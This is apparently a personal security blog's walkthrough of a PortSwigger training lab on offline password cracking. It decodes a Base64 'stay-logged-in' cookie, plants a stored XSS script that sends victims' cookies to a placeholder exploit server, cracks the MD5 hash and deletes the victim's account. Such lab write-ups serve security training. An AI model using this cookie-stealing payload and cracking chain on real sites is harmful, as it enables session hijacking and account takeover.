Daemon Of Hacking
  • WELCOME!
    • 👋/home/usr/KruKnight
  • METHODOLOGIES & RESOURCES
    • Passwords & Attacks
    • Post Exploitation
      • 👀Situational Awareness
      • 🖥️Privilege Escalation
        • Linux Privilege Escalation
        • Windows Privilege Escalation
  • Writeups
    • CyCtf 2024
      • Vending Machine
      • Aerospace
      • OhMyCell
    • Portswigger Labs
      • Authentication
        • Username enumeration via different responses
        • 2FA simple bypass
        • Password reset broken logic
        • Username enumeration via subtly different responses
        • Username enumeration via response timing
        • Broken Brute-Force Protection, IP Block
        • Username enumeration via account lock
        • 2FA broken logic
        • Brute-forcing a stay-logged-in cookie
        • Offline password cracking
        • Password reset poisoning via middleware
        • Password brute-force via password change
        • Broken brute-force protection, multiple credentials per request
      • Os Command Injection
        • OS command injection, simple case
        • Blind OS command injection with time delays
        • Blind OS command injection with output redirection
        • Blind OS command injection with out-of-band interaction
        • Blind OS command injection with out-of-band data exfiltration
      • Cross-Origin Resource Sharing (CORS)
        • CORS vulnerability with basic origin reflection
        • CORS vulnerability with trusted null origin
        • CORS vulnerability with trusted insecure protocols
      • Server-side template injection
        • Basic server-side template injection
        • Basic server-side template injection (code context)
      • Server-Side Request Forgery (SSRF)
        • Basic SSRF against the local server
        • Basic SSRF against another back-end
        • Blind SSRF with out-of-band detection
        • SSRF with blacklist-based input filter
        • SSRF with filter bypass via open redirection vulnerability
      • Path Traversal
  • 🟩HTB Writeups
    • Heal
Powered by GitBook
On this page
  • Lab description
  • Walkthrough
  • Step 1: Initial Analysis
  • Step 2: Decoding the Cookie
  • Step 3: Stealing Carlos's Cookie
  • Step 4: Extracting Carlos's Token
  • Step 5: Cracking Carlos's Password
  • Step 6: Logging in as Carlos

Was this helpful?

  1. Writeups
  2. Portswigger Labs
  3. Authentication

Offline password cracking

PreviousBrute-forcing a stay-logged-in cookieNextPassword reset poisoning via middleware

Last updated 5 months ago

Was this helpful?

Lab description

Walkthrough

Step 1: Initial Analysis

Log in using the provided credentials (wiener:peter) and ensure the "Stay logged in" checkbox is selected. After logging in, inspect the HTTP request for the stay-logged-in cookie. The token appears to be encoded.

After logging in, inspect the HTTP request for the stay-logged-in cookie. The token appears to be encoded.

Step 2: Decoding the Cookie

Decode the token using Base64. The structure of the token is revealed as: username:MD5(password)

  • Decoded Token Example: wiener:51dc30ddc473d43a6011e9ebba6ca770

Step 3: Stealing Carlos's Cookie

The goal now is to steal Carlos's stay-logged-in cookie using the XSS vulnerability in the comment section. Submit the following XSS payload in the comment field:

<script>
document.location='//<your-exploit-server>/'+document.cookie;
</script>

What this payload does is it sends the users cookies to our exploit server

When Carlos views the comment, his cookie is sent to your exploit server.

Step 4: Extracting Carlos's Token

Access the exploit server logs to retrieve Carlos's stay-logged-in cookie.

  • Carlos's Token Example: Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

Decode Carlos's token using Base64: carlos:26323c16d5f4dabff3bb136f2460a943

Decoding this token, we find it's Carlos's token base64{carlos:MD5(password)}

Step 5: Cracking Carlos's Password

Step 6: Logging in as Carlos

Use Carlos's username and cracked password (carlos:onceuponatime) to log in.

  • Navigate to the "My Account" page and select "Delete account."

  • Enter the password when prompted and confirm the deletion.

To solve this lab we have to delete his account so we just click on that and use the password we know and that's it lab done

Use an MD5 cracker (in this case ) to crack the hash. The hash 26323c16d5f4dabff3bb136f2460a943 resolves to: onceuponatime

Crackstation